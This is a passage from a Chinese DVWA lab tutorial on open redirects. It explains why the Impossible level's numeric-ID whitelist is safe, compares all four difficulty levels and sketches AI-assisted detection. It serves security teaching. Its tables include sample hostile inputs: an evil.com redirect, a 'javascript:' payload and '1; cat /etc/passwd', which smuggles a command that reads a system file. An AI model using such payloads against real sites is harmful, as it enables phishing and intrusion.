一句话总结:HIGH 级别的包含检查是一种弱验证,攻击者可通过参数注入或外部 URL 绕过。
五、Impossible 级别 ------ 白名单验证
1、漏洞描述
Impossible 级别采用了白名单验证策略,从根本上杜绝了开放重定向漏洞。它通过服务端硬编码的方式,将用户输入的数字 ID 映射到预定义的合法 URL,用户输入从不直接接触 Location 头。
核心安全改进:
- 参数类型验证 :使用
is_numeric()验证redirect参数是否为数字 - 类型强制转换 :
intval()强制转为整数,防类型混淆 - 白名单映射 :
switch语句将数字 ID 映射到预定义的合法 URL - 服务端控制目标 :
$target的值由服务端硬编码,用户无法干预 - 拒绝所有其他输入:任何不在白名单中的值都被拒绝
2、查看网页源代码
php
<?php
$target = "";
if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
switch (intval ($_GET['redirect'])) {
case 1:
$target = "info.php?id=1";
break;
case 2:
$target = "info.php?id=2";
break;
case 99:
$target = "https://digi.ninja";
break;
}
if ($target != "") {
header ("location: " . $target);
exit;
} else {
?>
Unknown redirect target.
<?php
exit;
}
}
?>
Missing redirect target.
3、分析网页源代码
(1)代码概述
Impossible 级别采用了白名单验证策略,四层防护的叠加:
| 层 | 代码 | 防护内容 |
|---|---|---|
| ① 输入验证 | is_numeric($_GET['redirect']) |
只接受数字,拒绝一切 URL/字符串 |
| ② 类型转换 | intval($_GET['redirect']) |
强制转为整数,防类型混淆 |
| ③ 白名单映射 | switch (intval(...)) { case 1: ...; case 2: ...; } |
只允许 ID 1/2/99,其余不匹配 |
| ④ 服务端控制 | $target = "info.php?id=1" |
目标 URL 由服务端硬编码,用户无法干预 |
逻辑流程:
- 检查
redirect参数是否存在且为数字(is_numeric()) - 使用
switch语句将数字 ID 映射到预定义的 URL - 白名单包含:
info.php?id=1、info.php?id=2、https://digi.ninja - 任何不在白名单中的值都被拒绝
- 关键设计:用户输入从不直接接触
Location头
关键设计对比:
- LOW 的
header("location: " . $_GET['redirect'])------用户输入直接拼入 Location。 - Impossible 的
header("location: " . $target)------用户输入(数字 ID)只用于switch选择,$target的值由服务端代码硬编码。即使用户传入redirect=1; cat /etc/passwd,is_numeric会拒绝它;即使传入redirect=1,intval转为1,switch匹配case 1,$target被赋值为"info.php?id=1"------用户对Location头的值没有任何控制权。
(2)安全分析(无漏洞,但需理解设计)
① 设计要点 ------ redirect=99 的特殊白名单:
php
case 99:
$target = "https://digi.ninja";
break;
ID 99 跳转到 https://digi.ninja(DVWA 作者 Robin Wood 的网站)。这不是漏洞,而是作者刻意保留的白名单条目------演示"即使需要外部跳转,也应通过服务端白名单映射实现,而非让用户直接传 URL"。白名单中的外部跳转是安全的,因为跳转目标是开发者明确允许的,不是用户可控的。
② 设计要点 ------ 非法输入返回 HTTP 200 而非 500:
| 输入 | is_numeric |
switch 匹配 |
结果 |
|---|---|---|---|
1 |
✅ true | case 1 |
302 → info.php?id=1 |
2 |
✅ true | case 2 |
302 → info.php?id=2 |
99 |
✅ true | case 99 |
302 → https://digi.ninja |
100 |
✅ true | 无匹配 | 200 "Unknown redirect target." |
https://evil.com |
❌ false | --- | 200 "Missing redirect target." |
1; cat /etc/passwd |
❌ false | --- | 200 "Missing redirect target." |
| `` (空) | ❌ false | --- | 200 "Missing redirect target." |
注意:非法输入返回 HTTP 200 而非 500,因为 Impossible 代码未显式设置 http_response_code(500)。这是设计选择------Impossible 的重心在"不跳转"而非"报错码"。
③ 为什么 Impossible 级别是安全的?
关键在于白名单验证策略:
text
用户输入: 1 → 重定向到 info.php?id=1 ✅
用户输入: 2 → 重定向到 info.php?id=2 ✅
用户输入: 99 → 重定向到 https://digi.ninja ✅
用户输入: 100 → 显示 Unknown redirect target. ❌
用户输入: http://evil.com → is_numeric() 失败 ❌
一句话总结:Impossible 级别通过白名单验证和类型检查,使开放重定向攻击变得 "Impossible"。
4、AI视角下的开放重定向检测
AI 自动化检测:零攻击面的判定与白名单范式的识别
Impossible 级别是 AI 自动化检测的"完美终点"------当 AI 对一个端点执行了全部 payload 矩阵后,发现零次 302 到外部域,即可自动标注该端点为"无开放重定向"。
(1)零攻击面判定流程与白名单识别
AI 的零攻击面判定流程:
- 全量 payload 矩阵测试:18 种 payload(覆盖绝对 URL、协议相对、反斜杠、伪协议、子串绕过等类别)逐个发送
- 结果统计:2 个 safe(ID 1/2 → 站内跳转)+ 1 个 whitelist_external(ID 99 → digi.ninja)+ 15 个 blocked
- 攻击面计算:0 个 open_redirect,0 个 bypass
- 自动标注 :
verdict = SECURE
AI 对 redirect=99 的白名单识别 ------AI 在测试 redirect=99 时观察到 302 → https://digi.ninja。按照基础判定逻辑(302 + 外部域 = open redirect),这会被标为漏洞。AI 的处理:
- 输入语义分析 :
99是数字 ID,不是 URL------用户没有传入https://digi.ninja,用户传入的是一个整数 - 源码对照 :
switch中的case 99: $target = "https://digi.ninja"是开发者硬编码的白名单条目 - 用户可控性评估 :用户只能选择传
99或不传99,无法修改digi.ninja为其他域名 - 重新标注 :
whitelist_external(白名单外部跳转),非open_redirect
这种判定能力是 AI 相比静态规则扫描的核心优势------规则只看"302 + 外部域",AI 还看输入与输出的因果关系:用户输入了什么?输出中哪些部分是用户可控的?
AI 对白名单范式的识别------AI 在审阅 Impossible 源码时,会自动识别出"服务端白名单映射"这一安全范式,并提取其特征:
text
特征:
1. 用户输入经过 is_numeric / is_int 类型验证
2. intval() 强制类型转换
3. switch/case 白名单枚举
4. 目标值由服务端硬编码
5. 用户输入从不直接接触输出(header)
当 AI 在其他项目中看到同样的模式时,可以直接标注"白名单映射范式,开放重定向风险极低"------这种范式识别能力让 AI 的审计效率随经验积累而提升。
(2)AI 的"防御演进"总结
将四个级别的 AI 检测结果做最终汇总:
| 级别 | 防护范式 | AI 判定 | 绕过 payload 数 | 根因 |
|---|---|---|---|---|
| LOW | 无防护 | VULNERABLE | 8 | 用户输入直接拼入 Location |
| MEDIUM | 黑名单正则 | VULNERABLE | 4 | 正则无法覆盖所有 URL 格式 |
| HIGH | 子串白名单 | VULNERABLE | 4 | strpos 不区分 URL 结构 |
| Impossible | 服务端白名单映射 | SECURE | 0 | 用户输入不接触 Location |
核心规律 :从 LOW 到 Impossible,安全性的提升不来自于"更多的检查",而来自于用户输入与输出之间隔离程度的提升。LOW 是"直连"(输入 = 输出),Impossible 是"完全隔离"(输入仅作索引,输出由服务端决定)。中间级别试图在"直连"上加过滤层,但过滤层永远有缺口------只有彻底断开输入与输出的直连关系,才能实现零攻击面。
5、Impossible级别------小结
Impossible 级别展示了白名单验证的正确做法:
- 类型验证 :使用
is_numeric()限制输入类型 - 类型转换 :
intval()强制转为整数,防类型混淆 - 白名单映射 :使用
switch映射预定义 URL - 拒绝其他输入:拒绝所有白名单外的值
- 服务端控制目标 :
$target由服务端硬编码,用户输入不接触Location头 - 严格匹配:确保只有预定义 URL 可访问
Impossible 级别展示了开放重定向的正确修复范式:用户输入一个标识符(数字 ID),服务端用 ID 查表得到目标 URL,目标 URL 由开发者完全控制 。这种模式将用户输入从"URL 本身"降级为"选择项",用户能做的最危险的事就是传入一个不在白名单中的 ID------而那只会被 default 分支拒绝。没有 payload、没有绕过、没有攻击面。
一句话总结:Impossible 级别通过白名单验证和类型检查,从根本上杜绝了开放重定向,使攻击变得 "Impossible"。
六、对比(LOW vs MEDIUM vs HIGH vs Impossible)
1、防护策略演进对比
| 防护维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 输入验证 | ❌ 无 | ⚠️ 正则过滤 | ⚠️ 字符串包含 | ✅ 数字验证 + 白名单 |
| 验证方式 | 无 | preg_match() |
strpos() |
is_numeric() + switch |
| 用户输入 → Location | 直接拼接 | 拼接(过滤后) | 拼接(过滤后) | 不接触 |
| 绕过 payload 数 | 8+ | 4 | 4 | 0 |
| 防护增量 | --- | +2 个拦截 | +4 个拦截 | 全部拦截 |
| 范式转变 | 直连 | 黑名单叠加 | 白名单思路 | 输入/输出隔离 |
| 绕过难度 | 极低 | 低 | 低 | 极高 |
| 防御策略 | 无防御 | 弱过滤 | 弱过滤 | 白名单验证 |
2、攻击面变化分析
| 攻击类型 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 任意 URL 重定向 | ✅ 直接利用 | ✅ 可绕过 | ✅ 可绕过 | ❌ 白名单拒绝 |
| 外部站点重定向 | ✅ 直接利用 | ✅ 可绕过 | ✅ 可绕过 | ❌ 白名单拒绝 |
| 参数注入绕过 | N/A | N/A | ✅ 可绕过 | ❌ 数字验证 |
| 编码绕过 | ✅ 直接利用 | ✅ 可绕过 | ✅ 可绕过 | ❌ 数字验证 |
| 伪协议(XSS) | ✅ 直接利用 | ✅ 可绕过 | ❌ 拦截 | ❌ 数字验证 |
攻击面可视化:
text
LOW ────────────────────────────────────────────── (全开放)
MEDIUM ──────────────[http://|https://]────────────── (拦2种前缀)
HIGH ───[不含info.php]──────────────────────────── (拦不含子串的)
Impossible ═════════════════════════════════════════════ (全封闭)
3、防御策略演进路径
text
LOW 级别 MEDIUM 级别 HIGH 级别
│ │ │
│ ❌ 无任何验证 │ ⚠️ 正则过滤 │ ⚠️ 字符串包含
│ ❌ 无防护 │ ⚠️ 可绕过 │ ⚠️ 可绕过
│ │ │
▼ ▼ ▼
"裸奔"阶段 "弱过滤"阶段 "弱检查"阶段
攻击成本:极低 攻击成本:低 攻击成本:低
Impossible 级别
┌─────────────────────────────────┐
│ ✅ 数字验证 (is_numeric) │
──► │ ✅ 白名单映射 (switch) │
│ ✅ 拒绝所有其他输入 │
└─────────────────────────────────┘
│
▼
"白名单"阶段
攻击成本:极高
4、开放重定向防御的核心原则
| 原则 | 说明 | 实现级别 |
|---|---|---|
| 白名单验证 | 只允许预定义的合法 URL | Impossible |
| 类型验证 | 对用户输入进行类型检查 | Impossible |
| 映射控制 | 使用 ID 映射到 URL | Impossible |
| 拒绝其他输入 | 拒绝所有非白名单输入 | Impossible |
| 避免用户控制 | 不要让用户直接控制重定向目标 | 架构级 |
| 输入/输出隔离 | 用户输入不接触 Location 头 |
Impossible |
关键启发:
- 黑名单是渐进式修补,白名单是终极解决 :MEDIUM 的正则可以被无限扩展(加上
//、\\、@...),但永远补不完;Impossible 的 switch 只需列出允许的选项,不需要枚举禁止的格式。 - 函数选择决定安全等级 :
strpos(子串)<substr(前缀)<parse_url(URL 结构)<switch + ID(服务端控制)。不是"加更多检查",而是"选对函数"。 - 输入与输出的隔离是终极防护 :LOW 中用户输入就是输出的一部分;Impossible 中用户输入只是
switch的条件,输出完全由服务端决定。隔离程度 = 安全程度。 - 开放重定向可以升级为 XSS :
javascript:alert(1)作为重定向目标在 LOW 和 MEDIUM 中都返回 302,将开放重定向升级为潜在的 XSS。防护开放重定向也是在防 XSS。
七、总结
1、漏洞全景回顾
| 层级 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 输入层 | 🔴 无验证 | 🟠 正则过滤 | 🟠 字符串包含 | 🟢 数字验证 + 白名单 |
| 处理层 | 🔴 直接重定向 | 🔴 直接重定向 | 🔴 直接重定向 | 🟢 白名单映射 |
| 输出层 | 🔴 任意重定向 | 🔴 任意重定向 | 🔴 任意重定向 | 🟢 仅白名单 URL |
2、核心防御建议优先级
text
高优先级(必须修复)
│
├── ① 使用白名单验证【LOW→IMP】
├── ② 不要允许用户控制重定向目标【LOW→IMP】
└── ③ 使用数字 ID 映射 URL【LOW→IMP】
中优先级(强烈建议)
│
├── ④ 实施类型验证【MEDIUM→IMP】
├── ⑤ 拒绝所有非白名单输入【HIGH→IMP】
└── ⑥ 使用正则表达式进行严格匹配
低优先级(可选优化)
│
├── ⑦ 部署 AI 重定向检测
├── ⑧ 实施重定向日志审计
└── ⑨ 定期进行重定向安全测试
DVWA 开放重定向模块用四个级别演示了一条清晰的防御演进路径:
- LOW 展示了"什么都不做"的后果------一行
header("location: " . $_GET['redirect'])就是完整的漏洞。 - MEDIUM 展示了黑名单的天花板------正则只能拦截已知模式,而 URL 的变体是无穷的。
- HIGH 展示了"正确的思路 + 错误的函数"------白名单思路对了,但
strpos做的是子串匹配不是 URL 结构匹配。 - Impossible 展示了终极方案------用户输入一个 ID,服务端查表决定目标,输入与输出完全隔离。
3、关键启发
- 白名单验证是最可靠的防御方式:LOW 到 HIGH 级别的各种过滤方式都可以被绕过,只有白名单验证才是根本解决方案。
- 类型验证能有效减少攻击面 :Impossible 级别通过
is_numeric()限制输入类型,大幅减少了攻击向量。 - 映射控制优于用户控制:用数字 ID 映射预定义 URL,而不是让用户直接提供 URL。
- 开放重定向的危害常被低估:开放重定向不仅是钓鱼攻击的工具,还可以配合 XSS、CSRF 等漏洞放大攻击效果。在 OAuth 流中可达高危(OWASP A01:2021 Broken Access Control 子类)。
四个级别共同传递的核心原则是:不要让用户输入直接或间接地决定 Location 头的值。如果必须让用户选择跳转目标,让用户选择的是一个编号,而非一个 URL。
八、AI增强防御建议
1、智能重定向检测
| 传统方案 | AI 增强方案 |
|---|---|
| 基于正则表达式的过滤 | 基于 URL 语义的深度分析 |
| 静态黑名单/白名单 | 动态学习的自适应策略 |
| 容易被绕过 | 识别编码、混淆等绕过手法 |
实现思路:
- 收集正常业务中的重定向 URL,建立合法 URL 模式基线
- 使用机器学习模型分析重定向 URL 的安全性
- 识别偏离正常模式的异常重定向并触发告警
AI 可以部署为持续运行的检测系统,定期对应用的所有重定向端点执行 payload 矩阵测试:
- 端点自动发现 :爬取应用页面,提取所有含
redirect、url、to、target、next等参数的链接 - payload 矩阵自动生成:根据参数名和上下文,从预置的 payload 库中选择合适的测试向量
- 302 + 外部域判定:核心判定逻辑简洁高效,误报率极低
- 白名单识别:对 302 到外部域的情况,分析输入是否为 ID(而非 URL),目标是否在已知白名单中
2、基于域名的智能检测
| 特征维度 | 合法重定向 | 开放重定向攻击 |
|---|---|---|
| 目标域名 | 与当前站点相同 | 完全不同 |
| 域名信誉 | 高(可信站点) | 低(恶意站点) |
| 域名相似度 | 完全匹配 | 相似但不同(如 g00gle.com) |
| URL 结构 | 符合业务模式 | 异常模式 |
实现思路:
- 构建动态域名白名单
- 使用 AI 分析域名的相似度,识别仿冒域名(如
g00gle.com、paypa1.com) - 检测 URL 结构是否符合业务模式
- 信誉评估:检查目标域名的安全信誉
3、代码审计集成
AI 在代码审计阶段(CI/CD pipeline)即可检测开放重定向风险:
- 危险函数检测 :搜索
header("location: "的所有调用点,检查拼接来源 - 数据流追踪 :从
$_GET/$_POST追踪到header()的数据流,判断中间是否有充分校验 - 函数级评估 :看到
strpos做重定向校验 → 标注"子串匹配风险";看到parse_url→ 标注"URL 结构匹配,检查 path";看到switch + intval→ 标注"安全" - 修复建议生成 :自动生成从
strpos到parse_url或switch的升级代码
4、AI 防御架构图
text
┌─────────────────────────────────────────────────────────────────────────┐
│ 重定向 AI 增强防御架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 输入层 │───▶│ 检测层 │───▶│ 响应层 │ │
│ │ 参数验证 │ │ 域名分析 │ │ 白名单重定向│ │
│ │ 类型检查 │ │ 相似度检测 │ │ 拒绝访问 │ │
│ │ 格式校验 │ │ 信誉评估 │ │ 告警通知 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
5、实施优先级建议
| 优先级 | 措施 | 实施难度 | 防御效果 |
|---|---|---|---|
| P0 | 将所有 header("location: " . $user_input) 改为 ID 映射 |
低 | 高 |
| P0 | 数字类型验证(is_numeric + intval) |
低 | 高 |
| P1 | 如果无法改 ID 映射,使用 parse_url + path 白名单 |
中 | 中 |
| P1 | 部署 AI 检测系统,定期 payload 矩阵扫描 | 中 | 中 |
| P2 | 域名信誉检测 | 中 | 中 |
| P2 | 相似度分析(防仿冒域名) | 中 | 中 |
| P3 | CI/CD 集成代码审计,拦截 header + user_input 组合 |
高 | 高 |
| P3 | 行为分析(异常跳转、频率监控) | 高 | 高 |
6、总结
AI 时代的开放重定向防御,不是用 AI 替代传统防御,而是用 AI 增强传统防御。
- 传统防御:提供基础安全基线(白名单验证、类型检查)
- AI 增强:提供智能化的域名分析、相似度检测和自适应响应
二者结合,才能构建真正 robust 的开放重定向防御体系。
免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 17 篇文章。
- 上一篇 :从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
- 下一篇 :将进入 Cryptography(密码学) 模块,带你完整理解密码学漏洞的攻防全貌。
👉 点击订阅专栏,第一时间收到更新通知!
如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊